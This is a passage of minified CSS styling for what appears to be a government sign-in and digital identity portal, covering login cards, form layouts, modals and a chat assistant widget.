.product-description .digital-id-inner h1:first-of-type,.unauth .product-description .inner p:first-of-type,.unauth .product-description .digital-id-inner p:first-of-type{text-align:left}}.unauth .product-description .inner h1,.unauth .product-description .digital-id-inner h1{margin-top:36px}@media screen and (min-width:992px){.unauth .product-description .inner h1,.unauth .product-description .digital-id-inner h1{margin-top:0}}.unauth .product-description .digital-id-inner p:first-of-type{text-align:left}.unauth .product-description .digital-id-inner h2:first-of-type,.unauth .product-description .digital-id-inner .display:first-of-type{margin-top:0;padding-top:0}.unauth .product-description .digital-id-inner h2,.unauth .product-description .digital-id-inner .display{font-weight:600}.unauth .product-description .digital-id-inner hr{border-top:3px #999 dashed;margin:2em 0}.unauth .product-description ul{-webkit-columns:1;-moz-columns:1;columns:1;margin:0 auto;list-style-position:outside}@media screen and (min-width:768px){.unauth .product-description ul{-webkit-columns:2;-moz-columns:2;columns:2}}@media screen and (min-width:992px){.unauth .product-description ul{-webkit-columns:1;-moz-columns:1;columns:1}}.unauth .login-card-wrapper{background-color:#eee}@media screen and (min-width:992px){.unauth .login-card-wrapper{background-color:inherit}}.unauth .digital-id-main-login-card{margin:-1em auto -1em auto;padding:3px 1em 20px 1em}@media screen and (min-width:576px){.unauth .digital-id-main-login-card{padding:16px 1em 0 1em}}.unauth .digital-id-login-card-wrapper{background-color:#eee}.unauth .digital-id-login-card{background-color:#eee;padding:10px;max-width:465px;margin:0 auto 2em auto;padding:0 1em 1em 1em;text-align:center}@media screen and (min-width:576px){.unauth .digital-id-login-card{padding:16px 1em 20px 1em}}.unauth .digital-id-login-card .button-main{width:100%}.unauth .digital-id-login-card .identity-hub-info-text{background-color:#fff}.unauth .digital-id-login-card .identity-hub-info-text p{text-align:left;padding:10px}.unauth .digital-id-login-card:nth-child(2){padding:1em}.unauth .login-card,.unauth .digital-id-main-login-card{background-color:#eee;padding:10px;max-width:465px;margin:0 auto;padding:16px 1em 20px 1em}.unauth .login-card label .help-text,.unauth .digital-id-main-login-card label .help-text{display:block}.unauth .login-card a.login-link,.unauth .digital-id-main-login-card a.login-link{margin-bottom:1.5em}.unauth .login-card .in-message-link,.unauth .digital-id-main-login-card .in-message-link{display:inline}.unauth .login-card input,.unauth .digital-id-main-login-card input{margin-bottom:0}.unauth .login-card .button-main,.unauth .digital-id-main-login-card .button-main,.unauth .login-card .button-minor,.unauth .digital-id-main-login-card .button-minor{width:100%}.unauth .login-card .crest,.unauth .digital-id-main-login-card .crest{margin-bottom:20px;padding-bottom:20px}.unauth .login-card .crest img,.unauth .digital-id-main-login-card .crest img{width:180px;margin:0 auto;display:inherit;padding-top:6px}.unauth .wap-login-card{background-color:#fff;padding:10px;margin:0 auto;padding:16px 1em 20px 1em}.unauth .wap-login-card label .help-text{display:block}.unauth .wap-login-card a.login-link{margin-bottom:1.5em}.unauth .wap-login-card .in-message-link{display:inline}.unauth .wap-login-card input{margin-bottom:0}.unauth .wap-login-card .button-main,.unauth .wap-login-card .button-minor{width:100%}.unauth .wap-login-card .crest{margin-bottom:20px;padding-bottom:20px}.unauth .wap-login-card .crest img{width:180px;margin:0 auto;display:inherit;padding-top:6px}.unauth h1 .success-msg,.unauth h1 .error-msg,.unauth h1 .info-msg{font-size:1.5rem}.unauth h1 .success-msg-text,.unauth h1 .error-msg-text,.unauth h1 .info-msg-text{padding-left:10px}.unauth .centered{text-align:center;display:block}@media screen and (min-width:576px){.unauth .centered{text-align:left}}.unauth div.contained{max-width:42em;margin-top:20px}.unauth footer[role='contentinfo'] .wrapper{padding:0 1em}@media screen and (min-width:768px){.unauth footer[role='contentinfo'] .wrapper{padding:0 2em}}.section-group{padding-top:1em;padding-bottom:1em}.login-grid-container{width:100%}@media screen and (min-width:992px){.login-grid-container{margin-top:1em}}.login-grid-container .sign-in-banner{display:none}@media screen and (min-width:992px){.login-grid-container .sign-in-banner{display:block;margin-bottom:1em;font-weight:600}}.login-grid-row:before,.login-grid-row:after{display:table;line-height:0;content:""}.login-grid-row:after{clear:both}.login-grid-column{float:left;box-sizing:border-box;min-height:1px;position:relative;width:100%}@media screen and (min-width:992px){.login-grid-column{width:50%}}header[role='banner'].unauth .unauth-grid{width:100%;height:48px;margin-top:1em}header[role='banner'].unauth .unauth-grid .unauth-grid-row{margin-left:1em;margin-right:1em}@media screen and (min-width:576px){header[role='banner'].unauth .unauth-grid .unauth-grid-row{margin-left:2em;margin-right:2em}}@media screen and (min-width:992px){header[role='banner'].unauth .unauth-grid .unauth-grid-row{margin-left:0;margin-right:0}}header[role='banner'].unauth .unauth-grid .unauth-grid-row:before,header[role='banner'].unauth .unauth-grid .unauth-grid-row:after{display:table;line-height:0;content:""}header[role='banner'].unauth .unauth-grid a{border-bottom:0}header[role='banner'].unauth .unauth-grid .coat-arms{margin-top:4px}header[role='banner'].unauth .unauth-grid .header-logo.unauth{float:right;position:inherit;top:31px;margin-top:8px;width:90px}@media screen and (min-width:576px){header[role='banner'].unauth .unauth-grid .header-logo.unauth{float:left;margin-top:8px;width:112px}}@media screen and (min-width:768px){header[role='banner'].unauth .unauth-grid .header-logo.unauth{width:135px;margin-top:4px}}img#unauth-govt-crest{float:left;height:40px;margin-right:1em;color:#fff}@media screen and (min-width:576px){img#unauth-govt-crest{height:48px;margin-right:2em}}@media screen and (min-width:992px){img#unauth-govt-crest{margin-left:0;height:48px}}img#unauth-mygov-logo{float:right}@media screen and (min-width:576px){img#unauth-mygov-logo{float:left;color:#fff}}.header-logo-img{color:#fff}.header-logo-img:hover{text-decoration:underline!important}.unauth .login-card input,.unauth .digital-id-main-login-card input{margin-bottom:.5em}.divider{margin:1.5em 0;border-bottom:3px #999 dashed}.image-float-right{float:right}.mygovbeta-tip{overflow:auto}.tip-heading{margin-top:0!important;float:left;font-weight:500}.tip-text{float:left;width:60%}@media screen and (max-width:991px){.tip-heading{float:none;margin-top:0!important;text-align:center}.tip-text{float:none;width:100%;text-align:center!important}.image-float-right{display:block;margin:1.5em auto;float:none}.mygovbeta-tip{text-align:center}}.emergency-information{display:block;text-align:center;background-color:#fcb80e;color:#333;margin-bottom:0;padding:0;height:0}.emergency-information p,.emergency-information .emergency-text{display:inline}.emergency-information img{width:1em}.beta-information{height:auto;display:block;text-align:center;background-color:#66d3ee;color:#000}.beta-information p{padding-left:5px;padding-right:5px}.beta-information a{display:inline;color:#000;text-decoration:underline;border-bottom:0}.beta-information a:hover{background-color:#254a7e;color:#fff;text-decoration:underline}.mygovbeta-tip{overflow:auto}@media only screen and (max-width:992px){.mygovbeta-tip{text-align:center}}.tip-heading{float:left;font-weight:500}@media only screen and (max-width:992px){.tip-heading{float:none;margin-top:0!important}}.tip-text{float:left;width:60%}@media only screen and (max-width:992px){.tip-text{float:none;width:100%}}p.login-instruction-text{margin-left:10px}.sr-only{position:absolute;left:-10000px;top:auto;width:1px;height:1px;overflow:hidden}.wrapper-integration{padding:0}.wrapper-integration .welcome{max-width:400px;padding-left:1em;margin-left:auto;margin-right:auto}.wrapper-integration .welcome p{margin-top:0;margin-bottom:1.5em}@media screen and (min-width:576px){.wrapper-integration .welcome{max-width:600px}}@media screen and (min-width:992px){.wrapper-integration .welcome{padding-left:0}}.wrapper-integration .main-block{background-color:#eee;max-width:400px;margin-left:auto;margin-right:auto;padding:.5em 1em 1em 1em}@media screen and (min-width:576px){.wrapper-integration .main-block{max-width:600px;padding:.5em 2em 2em 2em}}.wrapper-integration-mapwap{padding:0}.wrapper-integration-mapwap h1:first-of-type{padding-top:1.5rem;margin-top:0}.wrapper-integration-mapwap .main-block{background-color:#eee;max-width:400px;margin-left:auto;margin-right:auto;padding:0 1em 3em 1em}@media screen and (min-width:576px){.wrapper-integration-mapwap .main-block{padding:0 2em 3em 2em;max-width:600px}}#integration-span{background-color:#eee}.account-info-group span{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.account-info-group #account-info-label{margin-top:1.2em;margin-bottom:.4em}.account-info-group #account-info-detail{font-size:1em;overflow-wrap:break-word;display:block}@media screen and (min-width:320px){.account-info-group #account-info-detail{font-size:1.25em}}.account-info-group #account-info-detail-changeable{background:#ccc;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;padding:.7em .5em}.account-info-group #account-info-detail-changeable div:first-of-type{overflow-wrap:break-word;width:48%}.unauth h1.login-vp{display:none}@media screen and (min-width:992px){.unauth h1.login-vp{display:block;font-size:2.25em;font-weight:400}}.unauth h2.login-vp,.unauth .login-vp.display{font-weight:500}.unauth .product-description-vp .inner,.unauth .product-description-vp .product-description .digital-id-inner,.unauth .product-description .product-description-vp .digital-id-inner{max-width:900px;margin-left:auto;margin-right:auto;padding:0 2em}@media screen and (min-width:992px){.unauth .product-description-vp .inner,.unauth .product-description-vp .product-description .digital-id-inner,.unauth .product-description .product-description-vp .digital-id-inner{padding:0;margin-left:30px}}.unauth .product-description-vp .inner .tips,.unauth .product-description-vp .product-description .digital-id-inner .tips,.unauth .product-description .product-description-vp .digital-id-inner .tips{text-align:center}.unauth .product-description-vp .inner .tips img,.unauth .product-description-vp .product-description .digital-id-inner .tips img,.unauth .product-description .product-description-vp .digital-id-inner .tips img{width:100%;height:auto;max-height:215px}@media screen and (min-width:576px){.unauth .product-description-vp .inner .tips img,.unauth .product-description-vp .product-description .digital-id-inner .tips img,.unauth .product-description .product-description-vp .digital-id-inner .tips img{width:30%}}.unauth .product-description-vp .inner .tips h2,.unauth .product-description-vp .product-description .digital-id-inner .tips h2,.unauth .product-description .product-description-vp .digital-id-inner .tips h2,.unauth .product-description-vp .inner .tips .display,.unauth .product-description-vp .product-description .digital-id-inner .tips .display,.unauth .product-description .product-description-vp .digital-id-inner .tips .display{position:relative}.unauth .product-description-vp .inner .tips span,.unauth .product-description-vp .product-description .digital-id-inner .tips span,.unauth .product-description .product-description-vp .digital-id-inner .tips span{display:inline-block;margin-top:1em}@media screen and (min-width:992px){.unauth .product-description-vp .inner .tips,.unauth .product-description-vp .product-description .digital-id-inner .tips,.unauth .product-description .product-description-vp .digital-id-inner .tips{text-align:left}.unauth .product-description-vp .inner .tips h2,.unauth .product-description-vp .product-description .digital-id-inner .tips h2,.unauth .product-description .product-description-vp .digital-id-inner .tips h2,.unauth .product-description-vp .inner .tips .display,.unauth .product-description-vp .product-description .digital-id-inner .tips .display,.unauth .product-description .product-description-vp .digital-id-inner .tips .display{float:right}.unauth .product-description-vp .inner .tips img,.unauth .product-description-vp .product-description .digital-id-inner .tips img,.unauth .product-description .product-description-vp .digital-id-inner .tips img{float:left}}.unauth .product-description-vp .inner h2:first-of-type,.unauth .product-description-vp .product-description .digital-id-inner h2:first-of-type,.unauth .product-description .product-description-vp .digital-id-inner h2:first-of-type,.unauth .product-description-vp .inner .display:first-of-type,.unauth .product-description-vp .product-description .digital-id-inner .display:first-of-type,.unauth .product-description .product-description-vp .digital-id-inner .display:first-of-type,.unauth .product-description-vp .inner p:first-of-type,.unauth .product-description-vp .product-description .digital-id-inner p:first-of-type,.unauth .product-description .product-description-vp .digital-id-inner p:first-of-type{text-align:center}@media screen and (min-width:992px){.unauth .product-description-vp .inner h2:first-of-type,.unauth .product-description-vp .product-description .digital-id-inner h2:first-of-type,.unauth .product-description .product-description-vp .digital-id-inner h2:first-of-type,.unauth .product-description-vp .inner .display:first-of-type,.unauth .product-description-vp .product-description .digital-id-inner .display:first-of-type,.unauth .product-description .product-description-vp .digital-id-inner .display:first-of-type,.unauth .product-description-vp .inner p:first-of-type,.unauth .product-description-vp .product-description .digital-id-inner p:first-of-type,.unauth .product-description .product-description-vp .digital-id-inner p:first-of-type{margin-top:0;text-align:left}}.unauth .product-description-vp .divider{margin:1.5em 0;border-bottom:3px #999 dashed}.unauth .product-description-vp ul{-webkit-columns:1;-moz-columns:1;columns:1;margin:0 auto;list-style-position:inside;padding-left:0}@media screen and (min-width:992px){.unauth .product-description-vp ul{overflow:auto}.unauth .product-description-vp ul li{float:left;padding-right:1em}}@-webkit-keyframes loading{0%{background-color:#ccc}40%{background-color:#026540}60%{background-color:#ccc}}@keyframes loading{0%{background-color:#ccc}40%{background-color:#026540}60%{background-color:#ccc}}.animated-dots span{-webkit-animation-name:loading;animation-name:loading;-webkit-animation-direction:normal;animation-direction:normal;-webkit-animation-duration:1.5s;animation-duration:1.5s;-webkit-animation-iteration-count:infinite;animation-iteration-count:infinite;-webkit-animation-timing-function:linear;animation-timing-function:linear;border-radius:50%;background-color:#ccc;display:inline-block;margin:0 .3em;height:16px;width:16px}.animated-dots span:nth-child(1){-webkit-animation-delay:.9s;animation-delay:.9s}.animated-dots span:nth-child(2){-webkit-animation-delay:1.05s;animation-delay:1.05s}.animated-dots span:nth-child(3){-webkit-animation-delay:1.2s;animation-delay:1.2s}.animated-dots span:nth-child(4){-webkit-animation-delay:1.35s;animation-delay:1.35s}.animated-dots span:nth-child(5){-webkit-animation-delay:1.5s;animation-delay:1.5s}.offset-top{margin-top:30%;text-align:center}#poro-form label,.poro-form label{display:inline-block}#poro-form #profile-details .profile-label span:first-of-type,.poro-form #profile-details .profile-label span:first-of-type{font-weight:bold}#poro-form .side-a,#poro-form .select-group,.poro-form .side-a,.poro-form .select-group{display:block;width:100%}@media screen and (min-width:768px){#poro-form .side-a,#poro-form .select-group,.poro-form .side-a,.poro-form .select-group{float:left;width:48%;clear:left}}#poro-form .side-b,#poro-form .select-group+.select-group,.poro-form .side-b,.poro-form .select-group+.select-group{display:block;width:100%}@media screen and (min-width:768px){#poro-form .side-b,#poro-form .select-group+.select-group,.poro-form .side-b,.poro-form .select-group+.select-group{float:right;width:48%}}#poro-form .selectRadio,.poro-form .selectRadio{clear:left}#poro-form .sidebyside,.poro-form .sidebyside{display:table;width:100%}#poro-form .sidebyside>div,.poro-form .sidebyside>div{display:table-column;width:100%;display:block;clear:none}@media screen and (min-width:768px){#poro-form .sidebyside>div,.poro-form .sidebyside>div{width:48%;float:left;display:inline-block}}@media screen and (min-width:768px){#poro-form .sidebyside>div:nth-of-type(even),.poro-form .sidebyside>div:nth-of-type(even){float:right;display:inline-block}}#poro-form .poro-input,.poro-form .poro-input{width:100%}@media screen and (min-width:768px){#poro-form .poro-input,.poro-form .poro-input{width:48%}}#poro-form .poro-date-fields,.poro-form .poro-date-fields{display:block;clear:both}#poro-form .poro-input-group,.poro-form .poro-input-group{width:100%}@media screen and (min-width:768px){#poro-form .poro-input-group,.poro-form .poro-input-group{width:48%}}#poro-form .poro-field-group,#poro-form .poro-input-group,.poro-form .poro-field-group,.poro-form .poro-input-group{margin-top:15px;display:block;clear:both}#poro-form .poro-field-group label,#poro-form .poro-input-group label,.poro-form .poro-field-group label,.poro-form .poro-input-group label{margin-top:0;display:inline;position:relative;padding-top:0;width:100%}@media screen and (min-width:768px){#poro-form .poro-field-group.select-group,#poro-form .poro-input-group.select-group,.poro-form .poro-field-group.select-group,.poro-form .poro-input-group.select-group{clear:none}}#poro-form .buttonControl-group,.poro-form .buttonControl-group{margin-left:5px;position:relative;display:inline-block}#poro-form .buttonControl::after,.poro-form .buttonControl::after{content:'';background-image:url("../icons/panel-icon.svg");top:10px;-webkit-transform:rotate(180deg);transform:rotate(180deg);background-repeat:no-repeat;border-color:black;color:#0f6493;position:absolute;right:-20px;height:8px;width:12px}#poro-form .buttonControl span,.poro-form .buttonControl span{font-size:1rem}#poro-form .buttonControl[aria-expanded="true"]::after,.poro-form .buttonControl[aria-expanded="true"]::after{background-image:url("../icons/panel-icon.svg");top:10px;-webkit-transform:rotate(0deg);transform:rotate(0deg)}#poro-form .topic,.poro-form .topic{display:none;margin-bottom:1em;padding:10px;background-color:#bfe7f6;max-width:42em;font-size:87.5%;position:relative;margin-top:10px}#poro-form .topic:before,.poro-form .topic:before{bottom:100%;left:50px;border:solid transparent;content:" ";height:0;width:0;position:absolute;pointer-events:none}#poro-form .topic:before,.poro-form .topic:before{border-bottom-color:#bfe7f6;border-width:10px;margin-left:-36px}#poro-form .topic p,.poro-form .topic p{margin:0}#poro-form .input-hint,#poro-form .help-box,.poro-form .input-hint,.poro-form .help-box{font-size:87.5%}#poro-form .input-hint p,#poro-form .help-box p,.poro-form .input-hint p,.poro-form .help-box p{margin:0;padding:0}#poro-form .poro-subgroup .sub-group-delimiter,.poro-form .poro-subgroup .sub-group-delimiter{float:left;width:1em;top:15px;height:100%;position:relative;display:inline-block}#poro-form .poro-subgroup input,.poro-form .poro-subgroup input{width:4em;float:left}#poro-form .poro-subgroup input.medium-input,.poro-form .poro-subgroup input.medium-input{width:5em}#poro-form .poro-subgroup input.large-input,.poro-form .poro-subgroup input.large-input{width:10em}#poro-form .poro-subgroup input.xl-input,.poro-form .poro-subgroup input.xl-input{width:100%}#poro-form .poro-subgroup input:first-of-type,.poro-form .poro-subgroup input:first-of-type{margin-right:5px}#poro-form input.irn-code,.poro-form input.irn-code{width:4em}#poro-form .modal-overlay,.poro-form .modal-overlay{background:rgba(0,0,0,0.8);height:100%;left:0;display:block;overflow:auto;padding:0 1.5em 1.5em;position:fixed;top:0;-webkit-transition:opacity .2s;transition:opacity .2s;width:100%;z-index:-1}#poro-form .modal-overlay h2,#poro-form .modal-overlay .display,.poro-form .modal-overlay h2,.poro-form .modal-overlay .display{border-bottom:0}#poro-form .modal-overlay[aria-hidden="true"],.poro-form .modal-overlay[aria-hidden="true"]{opacity:0;visibility:hidden}#poro-form .modal-overlay[aria-hidden="false"],.poro-form .modal-overlay[aria-hidden="false"]{opacity:1;visibility:visible;z-index:2}#poro-form .modal-content,.poro-form .modal-content{background:#fff;margin:auto;max-height:90%;max-width:400px;overflow:auto;overflow-x:hidden;padding:1em;position:relative;top:10%;-webkit-transform:scale(0.8);transform:scale(0.8);-webkit-transition:-webkit-transform .3s;transition:-webkit-transform .3s;transition:transform .3s;transition:transform .3s,-webkit-transform .3s;width:100%}#poro-form .modal-overlay[aria-hidden="false"] .modal-content,.poro-form .modal-overlay[aria-hidden="false"] .modal-content{-webkit-transform:scale(1);transform:scale(1)}#poro-form #modal-title,.poro-form #modal-title{margin-top:0;padding-right:1.25em}#poro-form .btn-close,.poro-form .btn-close{background:0;border:0;cursor:pointer;font-family:arial;font-size:2em;font-weight:800;line-height:1;padding:0;position:absolute;right:.25em;top:.25em;z-index:2}#poro-form .help-container,.poro-form .help-container{background-color:#eee;padding:2em;font-size:.8rem}#poro-form .help-container p,.poro-form .help-container p{margin:0}#poro-form .help-container a,.poro-form .help-container a{color:#0f6493}#poro-form .help-container a:hover,.poro-form .help-container a:hover{color:#fff}#poro-form input[name*="clkCRN"][value="000000000Z"],.poro-form input[name*="clkCRN"][value="000000000Z"]{color:transparent}/*! Increment heading numers based on code from: http://philarcher.org/diary/2013/headingnumbers/ */ol.table-of-contents{padding-left:0;list-style:none}ol.table-of-contents ol{list-style:none}ol.table-of-contents .toc-n{display:inline-block;padding-right:.5em}.numbered-headings{counter-reset:h2}.numbered-headings h2,.numbered-headings .display{counter-reset:h3}.numbered-headings h3,.numbered-headings #poro-form #modal-title,#poro-form .numbered-headings #modal-title,.numbered-headings .poro-form #modal-title,.poro-form .numbered-headings #modal-title{counter-reset:h4}.numbered-headings h4{counter-reset:h5}.numbered-headings h5{counter-reset:h6}.numbered-headings h2::before,.numbered-headings .display::before{counter-increment:h2;content:counter(h2) ". "}.numbered-headings h3::before,.numbered-headings #poro-form #modal-title::before,#poro-form .numbered-headings #modal-title::before,.numbered-headings .poro-form #modal-title::before,.poro-form .numbered-headings #modal-title::before{counter-increment:h3;content:counter(h2) "." counter(h3) " "}.numbered-headings h4::before{counter-increment:h4;content:counter(h2) "." counter(h3) "." counter(h4) " "}.numbered-headings h5::before{counter-increment:h5;content:counter(h2) "." counter(h3) "." counter(h4) "." counter(h5) " "}.numbered-headings h6::before{counter-increment:h6;content:counter(h2) "." counter(h3) "." counter(h4) "." counter(h5) "." counter(h6) " "}.numbered-headings h2.nocount:before,.numbered-headings .nocount.display:before,.numbered-headings h3.nocount:before,.numbered-headings #poro-form .nocount#modal-title:before,#poro-form .numbered-headings .nocount#modal-title:before,.numbered-headings .poro-form .nocount#modal-title:before,.poro-form .numbered-headings .nocount#modal-title:before,.numbered-headings h4.nocount:before,.numbered-headings h5.nocount:before,.numbered-headings h6.nocount:before{content:"";counter-increment:none}.help-info-group{position:relative;display:inline-block}.help-info::after{content:'';position:absolute;right:-32px;width:1.3em;height:1.5em;background-repeat:no-repeat;background-position:right .4em;background-size:.64em auto;-webkit-transform:rotate(90deg);transform:rotate(90deg);background-image:url("../icons/link-arrow.svg");top:0}.help-info[aria-expanded="true"]::after{background-image:url("../icons/link-arrow.svg");right:-29px;top:10px;-webkit-transform:rotate(-90deg);transform:rotate(-90deg)}.help-info-inline::after{content:'';position:absolute;right:-32px;width:1.3em;height:1.5em;background-repeat:no-repeat;background-position:right .4em;background-size:.64em auto;-webkit-transform:rotate(90deg);transform:rotate(90deg);background-image:url("../icons/link-arrow.svg");top:0}.help-info-inline[aria-expanded="true"]::after{background-image:url("../icons/link-arrow.svg");right:-29px;top:10px;-webkit-transform:rotate(-90deg);transform:rotate(-90deg)}img#mygov-access-conf{display:block;margin-left:auto;margin-right:auto;margin-top:2em;height:140px}@media screen and (min-width:320px){img#mygov-access-conf{margin-top:1em}}img#warning{display:block;margin-left:auto;margin-right:auto;margin-top:2em;height:140px}@media screen and (min-width:320px){img#warning{margin-top:1em}}@media screen and (-webkit-min-device-pixel-ratio:0){img#app-store-logo{padding-bottom:10px}}@-moz-document url-prefix(){img#app-store-logo{padding-bottom:10px}}img#play-store-logo{height:59.98px}a.app-logo{border-bottom:0}a.app-logo:hover{background-color:transparent}#idp-link-info{padding-left:unset;list-style-position:inside}#idp-link-info h3,#idp-link-info #poro-form #modal-title,#poro-form #idp-link-info #modal-title,#idp-link-info .poro-form #modal-title,.poro-form #idp-link-info #modal-title{display:inline;margin-bottom:.8em}#idp-link-info img.link-step{width:30%;display:block;margin:1.5em auto}#idp-link-info .next-step{display:none}#idp-link-info .link-step-info{text-align:center}@media screen and (min-width:768px){#idp-link-info{display:-webkit-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex}#idp-link-info .next-step{display:inline;-webkit-flex-basis:5%;-ms-flex-preferred-size:5%;flex-basis:5%;margin:3em 0}#idp-link-info .link-step{-webkit-flex-basis:33%;-ms-flex-preferred-size:33%;flex-basis:33%;min-width:150px}#idp-link-info img.link-step{width:50%;margin:3em auto}#idp-link-info img.next-step{width:60%}}img#externallinkicon{height:1em}.va_clearfix:before,.va_clearfix:after{content:"";display:table}.va_clearfix:after{clear:both}.va_chatAnchor{position:relative;z-index:999999;bottom:0;right:0;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;min-width:320px;line-height:1;-webkit-transition:1s;transition:1s;color:#fff;display:none}.va_iframe{display:block;height:0;width:350px;min-width:320px;position:fixed;right:50px;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;bottom:0;border:0;overflow:scroll;box-shadow:0 0 3px rgba(0,0,0,0.3)}.va_header{max-height:45px;background:#777;background:-webkit-linear-gradient(#4d4d4f,#777);background:linear-gradient(#4d4d4f,#777);filter:progid:DXImageTransform.Microsoft.gradient(GradientType=0,startColorstr='#4D4D4F',endColorstr='#777777');color:#fff;cursor:pointer;position:relative}.va_header:focus{outline:3px solid #fff}.va_toggleIcon{background:url(../icons/va_arrowup.svg);background-size:20px 10px;background-repeat:no-repeat;padding-top:10px;position:absolute!important;right:0;display:block;background-position:center;top:0;height:0!important;width:0!important;margin:0;margin-right:15px;padding:15px 0 18.5px 18.5px;margin-top:3.5px}.va_toggleIcon:focus{outline:3px solid #fff}.va_expanded{background:url(../icons/va_arrowdown.svg);background-size:20px 10px;background-repeat:no-repeat;background-position:center}.va_resizeIcon{height:0;width:0;background:url(../icons/va_resizelarge.svg);background-size:15px 15px;background-repeat:no-repeat;background-position:center;position:absolute!important;right:45px;bottom:2px;top:0;display:block;padding:15px 0 18.5px 18.5px;margin-top:3.5px}.va_resizeIcon:focus{outline:3px solid #fff}.va_resizeIcon.va_large{background:url(../icons/va_resizesmall.svg);background-size:15px 15px;background-repeat:no-repeat;background-position:center}h1.va_chatTitle{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;font-size:1.2rem;font-weight:bold;bottom:3px;padding:0;line-height:1.7em;margin-left:15px;margin-top:3.5px;width:-webkit-fit-content;width:-moz-fit-content;width:fit-content}h2.va_chatTitle,.va_chatTitle.display{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;font-size:1.2rem;font-weight:bold;bottom:3px;padding:0;line-height:1.7em;margin-left:15px;margin-top:3.5px;width:-webkit-fit-content;width:-moz-fit-content;width:fit-content}h1.va_chatTitle_mob{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;font-size:1rem;line-height:inherit;margin:0}h1.va_chatTitle_mob:focus{outline:3px solid #fff}h2.va_chatTitle_mob,.va_chatTitle_mob.display{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;font-size:1.2rem;font-weight:bold;bottom:3px;padding:0;line-height:1.7em;margin-left:15px;margin-top:3.5px;width:-webkit-fit-content;width:-moz-fit-content;width:fit-content}#va_chatHeader{position:fixed;bottom:0;right:50px;width:350px;cursor:pointer}#va_chatHeader:focus{outline:3px solid #fff}.va_chatBorder{height:10px;width:inherit;background:#d7ea6a;position:relative;z-index:2;cursor:pointer}.va_skipToLink{display:none}.va_skipToLink.active{display:block!important;z-index:10;position:absolute;color:#000;background:#fff;padding:5px;font-weight:bold;top:-1000px;left:-1000px;height:0;width:0;font-size:.875rem!important;text-decoration:underline}a.va_skipToLink:focus,a.va_skipToLink:hover{top:0;left:0;outline:3px solid #666;height:40px;width:140px;margin-left:20px;margin-top:0;background:#fff}.va_chatborder{background:#d7ea6a}.va_header{height:50px;background:#026540}#va_chatHeader .va_header:hover{background:#014c30}@media screen and (max-width:599px),screen and (max-height:490px){.va_chatAnchor{right:0;width:100%;height:100%}.va_header{box-shadow:none}.va_chatBorder{display:none}#va_mobileBar{display:block;position:fixed;right:50px;bottom:0;width:150px;height:45px;background:#026540;background:-webkit-linear-gradient(#4d4d4f,#777);background:-webkit-linear-gradient(#026540,#026540);background:linear-gradient(#026540,#026540);filter:progid:DXImageTransform.Microsoft.gradient(GradientType=0,startColorstr='#4D4D4F',endColorstr='#777777');border-top:#1c78b9 5px solid;color:#fff;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;font-weight:normal;font-size:1.2rem;font-weight:bold;padding-left:10px;line-height:2.5;-webkit-text-size-adjust:100%}.va_mobileLarge{width:100%!important;top:0;left:0;border-radius:0!important;padding-left:20px!important}#va_chatHeader{display:none}#va_mobileToggle.va_mobileToggle{height:80px!important;width:100%;background:url(../icons/va_arrowup.svg);background-position:right 5px bottom 45px;background-size:20px 10px;background-repeat:no-repeat;position:absolute!important;right:0;bottom:-25px;display:block}#va_mobileToggle.va_mobileToggle.va_open{height:55px!important;background:url(../icons/va_arrowdown.svg);background-repeat:no-repeat;background-position:right 25px bottom 20px;background-size:20px 10px;right:17px;left:initial;bottom:-5px!important}.va_chatTitle{position:absolute;bottom:-2px;height:0;left:-20px;font-size:1rem}body{padding-bottom:40px}}.identity-profile-table{border-top:1px solid black}.identity-profile-table th:first-of-type,.identity-profile-table td:first-of-type{border-right:1px solid #999}.identity-profile-table th{display:table-cell;border-style:none;width:initial}.identity-profile-table th:focus{outline:-webkit-focus-ring-color auto 5px}.identity-profile-table th>img{vertical-align:middle}.identity-profile-table td{vertical-align:top}.identity-profile-givenname,.identity-profile-familyname,.identity-profile-dob{display:block}.login-grid-column.alternative:first-of-type{border:1px solid #999;border-radius:10px;background-color:white}@media screen and (min-width:768px){.login-grid-column.secondary{margin-top:0}}.digital-id-inner{margin-top:2em;padding:0 1em!important}@media screen and (min-width:992px){.digital-id-inner{margin-top:0;padding:0 2em}}@media screen and (min-width:768px){.unauth .product-description ul{-webkit-columns:1;-moz-columns:1;columns:1}}.digital-id-barrier{background-color:#eee;border-top-left-radius:10px;border-top-right-radius:10px}.password-helper-text{font-size:.9rem}.login-grid-row.alternative{margin:10px}#secondary-identity-modal.hidden{display:none}#secondary-identity-modal.shown{position:-webkit-sticky;position:sticky;z-index:1060;background-color:white;top:10%}@media screen and (min-width:768px){#secondary-identity-modal.shown{position:fixed}}.identity-link-process ol{margin-left:1em}.digital-id-main-login-card.alternative{background-color:#eee;border-top-left-radius:10px;border-top-right-radius:10px}.transparent-background{background-color:transparent!important}.identity-modal-button-container .cancel-action{min-width:160px}.confirm-action{background-color:#222;color:white;min-width:160px}.confirm-action:disabled{background-color:#ccc}.sign-in-banner.alternative{font-size:22px;font-weight:bold;display:block;margin-top:10px;margin-left:10px}h2.digital-id-header,.digital-id-header.display{margin-top:0;font-weight:700;font-size:18px}#digital-id-selection fieldset{margin-top:0}#digital-id-selection legend{border-bottom:0;margin-bottom:0;display:none}#digital-id-selection legend h3,#digital-id-selection legend #poro-form 